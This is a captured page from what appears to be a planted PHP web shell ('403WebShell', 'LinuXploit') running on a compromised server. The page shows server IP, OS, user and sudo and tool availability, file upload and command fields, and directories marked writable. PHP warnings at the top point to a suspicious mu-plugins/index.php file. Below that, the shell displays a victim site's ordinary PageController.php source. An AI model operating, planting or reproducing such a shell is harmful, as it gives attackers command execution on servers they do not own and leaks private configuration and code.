Warning: Trying to access array offset on null in /var/www/alexvillarreal/wp-content/mu-plugins/index.php on line 2

Deprecated: md5(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/alexvillarreal/wp-content/mu-plugins/index.php on line 2
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.216.233
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/brainwavemx/app/Controller/frontend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/brainwavemx/app/Controller/frontend/PageController.php
<?php

declare(strict_types=1);

namespace App\Controller\Frontend;

use App\Helper\FileUpload;
use App\Model\BlogModel;
use App\Model\ContactModel;
use App\Model\PageModel;
use Mosaico\Controller\BaseController;
use App\DataFile\Data;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;

class PageController extends BaseController
{

    protected $blogModel;

    protected $pageModel;

    protected $contactModel;

    public function __construct()
    {
        if (session_status() == PHP_SESSION_NONE) {
            session_start();
        }
       $this->blogModel = new BlogModel();
       $this->contactModel = new ContactModel();
       $this->pageModel = new PageModel();
    }

    /**
     * [pageHome description]
     * @return string
     */
    public function pageHome(): string
    {
        return $this->template(
            'frontend/home',
            [
                'tags' => $this->blogModel->getTags(),
                'services' => $this->pageModel->getServices(),
                'clients' => $this->pageModel->getClients(),
                'homeposts' => $this->blogModel->getFrontPosts()
            ]
        );
    }

    public function pagePortos(): string
    {
        return $this->template(
            'frontend/homePortos',
            [
                'tags' => $this->blogModel->getTags(),
                'services' => $this->pageModel->getServices(),
                'clients' => $this->pageModel->getClients(),
                'homeposts' => $this->blogModel->getFrontPosts()
            ]
        );
    }

    public function aboutPortos(): string
    {
        return $this->template(
            'frontend/aboutPortos',
            [
                'name' => 'About Us',
                'tags' => $this->blogModel->getTags()
            ]
        );
    }

    public function termsPortos(): string
    {
        return $this->template(
            'frontend/termsPortos',
            [
                'name' => 'Terms of Use',
                'tags' => $this->blogModel->getTags()
            ]
        );
    }

    public function accesibilityPortos(): string
    {
        return $this->template(
            'frontend/accesibilityPortos',
            [
                'name' => 'Accesibility Plan',
                'tags' => $this->blogModel->getTags()
            ]
        );
    }

    public function codePortos(): string
    {
        return $this->template(
            'frontend/codePortos',
            [
                'name' => 'Code of Conduct',
                'tags' => $this->blogModel->getTags()
            ]
        );
    }

    public function privacyPortos(): string
    {
        return $this->template(
            'frontend/privacyPortos',
            [
                'name' => 'Privacy Policy',
                'tags' => $this->blogModel->getTags()
            ]
        );
    }

    public function servicesPortos(): string
    {
        return $this->template(
            'frontend/servicesPortos',
            [
                'name' => 'What We Do',
                'tags' => $this->blogModel->getTags(),
                'clients' => $this->pageModel->getClients(),
                'services' => $this->pageModel->getServices()
            ]
        );
    }

    public function servicePage(Request $request): string
    {
        $url_name = $request->get('url_name');
        $service = $this->pageModel->getService($url_name)->row;
        return $this->template(
            'frontend/servicePage',
            [
                'name' => $service['name_1'] . ' ' . $service['name_2'],
                'tags' => $this->blogModel->getTags(),
                'service' => $service
            ]
        );
    }

    public function contactPortos(): string
    {
        $_SESSION['token'] =  bin2hex(openssl_random_pseudo_bytes(16));
        //!isset($_SESSION['token']) ? $_SESSION['token'] = '' : $_SESSION['token'] = $_SESSION['token'];
        return $this->template(
            'frontend/contactPortos',
            [
                'name' => 'Contact',
                'tags' => $this->blogModel->getTags(),
                'token' => $_SESSION['token'],
                'subjects' => $this->contactModel->getContactSubjects()
            ]
        );
    }

    public function portfolioPortos(): string
    {
        return $this->template(
            'frontend/portfolioPortos',
            [
                'name' => 'Our Work',
                'tags' => $this->blogModel->getTags()
            ]
        );
    }

    public function ourWork(): string
    {
        return $this->template(
            'frontend/ourWork',
            [
                'name' => 'Our Work',
                'tags' => $this->blogModel->getTags()
            ]
        );
    }

    public function projectPortos(Request $request, string $url_name): string
    {
        
        return $this->template(
            'frontend/projectPortos',
            [
                'name' => 'Proyectos',
                'tags' => $this->blogModel->getTags()
            ]
        );
    }

    /**
     * [pageHome description]
     * @return string
     */
    public function pageAbout(): string
    {
        return $this->template(
            'frontend/about',
            []
        );
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit